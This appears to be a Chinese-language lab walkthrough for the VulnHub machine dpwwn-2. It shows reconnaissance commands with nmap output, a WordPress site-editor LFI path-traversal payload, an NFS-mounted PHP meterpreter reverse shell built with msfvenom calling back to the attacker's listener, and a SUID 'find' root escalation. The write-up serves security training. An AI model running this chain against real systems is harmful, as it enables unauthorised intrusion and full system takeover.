https://blog.csdn.net/Perpetual_Blue/article/details/124265449https://www.cnblogs.com/hirak0/articles/16086293.htmlhttps://blog.csdn.net/2302_76838247/article/details/144165492链接https://www.vulnhub.com/entry/dpwwn-2,343/下载地址1.主机探测arp-scan -I eth0 192.168.100.0/24 nmap -sn 192.168.100.0/24目标机器为192.168.100.133masscan 192.168.100.0/24 -p 80 masscan 擅长整段网段快速扫存活端口 nmap 擅长单主机深度指纹、漏洞探测二者通常搭配使用。netdiscover -i eth0 -r 192.168.100.0/242.端口扫描nmap -A 192.168.100.133nmap -A 192.168.100.133 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 06:10 EDT Nmap scan report for 192.168.100.133 Host is up (0.00026s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Ubuntu)) |_http-title: dpwwn-02 |_http-server-header: Apache/2.4.38 (Ubuntu) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 37621/udp6 mountd | 100005 1,2,3 39296/udp mountd | 100005 1,2,3 47827/tcp6 mountd | 100005 1,2,3 55019/tcp mountd | 100021 1,3,4 37693/tcp6 nlockmgr | 100021 1,3,4 42669/udp6 nlockmgr | 100021 1,3,4 45241/tcp nlockmgr | 100021 1,3,4 60520/udp nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 443/tcp open http Apache httpd 2.4.38 ((Ubuntu)) |_http-server-header: Apache/2.4.38 (Ubuntu) |_http-title: dpwwn-02 2049/tcp open nfs 3-4 (RPC #100003) MAC Address: 00:0C:29:49:B7:FB (VMware) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.26 ms 192.168.100.133 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.23 seconds80/tcp open http Apache httpd 2.4.38 ((Ubuntu))111/tcp open rpcbind 2-4 (RPC #100000)443/tcp open http Apache httpd 2.4.38 ((Ubuntu))2049/tcp open nfs 3-4 (RPC #100003)访问80端口查看源代码里面什么也没有3.目录探测dirsearch -u http://192.168.100.133那么我们访问192.168.100.133/wordpress/wp-login.php发现一个登录页面wpscan漏洞扫描使用wpscan扫描漏洞wpscan --url http://192.168.100.133/wordpress/发现一个插件site-editor扫描漏洞searchsploit site editor 1.1.1http://192.168.100.133/wp-content/plugins/site- editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php? ajax_path/etc/passwd正常来说可以 只是这个靶机没有site-editor插件 所有漏洞利用不了 也正常 我也没有扫描到 但是思路要有2049端口服务 渗透NFSNetwork File System是一种常见的网络文件共享协议允许在网络上的计算机之间共享文件夹和目录记得之前端口扫描的结果里有nfs服务首先查看共享路径showmount --exports 192.168.100.133创建本地目录mkdir dpwwn02把靶机的共享路径mount到本地目录sudo mount -t nfs 192.168.100.133:/home/dpwwn02 --target dpwwn02-t nfs指定文件系统的类型为 NFS网络文件系统。NFS允许通过网络访问远程文件系统。 --target 参数 指定本地系统上的挂载点。 双向同步你这边写靶机立刻同步生成 NFS 的作用不是偷现有文件 获得靶机服务器可写本地路径把木马丢进服务器本地 再通过文件包含漏洞远程执行木马拿 shell文件夹里原本有没有东西完全不影响。本地创建一个反弹shell脚本egwindows/meterpreter/reverse_tcpWindows 系统 exe 木马 linux/x64/meterpreter/reverse_tcpLinux64 位 elf 木马这种的需要终端点击msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.100.128 LPORT4444 R shell.php 漏洞载体是 WordPressWP 完全基于 PHP 开发 是 PHP 脚本丢网站目录浏览器访问网页时 ApachePHP 引擎自动解析执行网页层面直接触发反弹专门用来从 Web 漏洞拿第一波权限。复制到共享路径mount的目录sudo cp shell.php dpwwn02/本地再开一个监听msfconsoleuse exploit/multi/handlerset payload php/meterpreter/reverse_tcpset LHOST 192.168.100.128exploit访问这个链接就会反弹shellhttp://10.10.10.10/wordpress/wp-content/plugins/site-editor /editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path/home/dpwwn02/shell.php 因为nfs2049端口共享协议 我把我的木马映射到了靶机中的服务器中 一打开自动解析拿到shell 只是我忘记了 meterpreter 需要shell 在输入bash命令了应该getgid 有效组 IDgetuid有效用户 ID当前程序运行身份suid提权find / -perm -us -type f 2/dev/null /usr/bin/fusermount /usr/bin/passwd /usr/bin/chsh /usr/bin/umount /usr/bin/find /usr/bin/sudo /usr/bin/mount /usr/bin/at /usr/bin/chfn /usr/bin/su /usr/bin/newgrp /usr/bin/gpasswd /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/sbin/mount.nfs /snap/core/17292/bin/mount /snap/core/17292/bin/ping /snap/core/17292/bin/ping6 /snap/core/17292/bin/su /snap/core/17292/bin/umount /snap/core/17292/usr/bin/chfn /snap/core/17292/usr/bin/chsh /snap/core/17292/usr/bin/gpasswd /snap/core/17292/usr/bin/newgrp /snap/core/17292/usr/bin/passwd /snap/core/17292/usr/bin/sudo /snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/17292/usr/lib/openssh/ssh-keysign /snap/core/17292/usr/lib/snapd/snap-confine /snap/core/17292/usr/sbin/pppdfind . -exec /bin/sh -p \; -quit信息收集网段存活探测、端口扫描发现 80 端口 WordPress、2049 NFS 共享两条主线Web 踩坑WPScan 枚举无 site-editor 插件放弃插件 LFI 路线转 NFS 突破口NFS 利用本地挂载靶机共享目录写入 PHP 反弹马靠文件包含远程执行拿到 www-data 权限权限提升枚举 SUID 程序发现 find 带 root SUID用find -exec /bin/sh -p直接溢出 root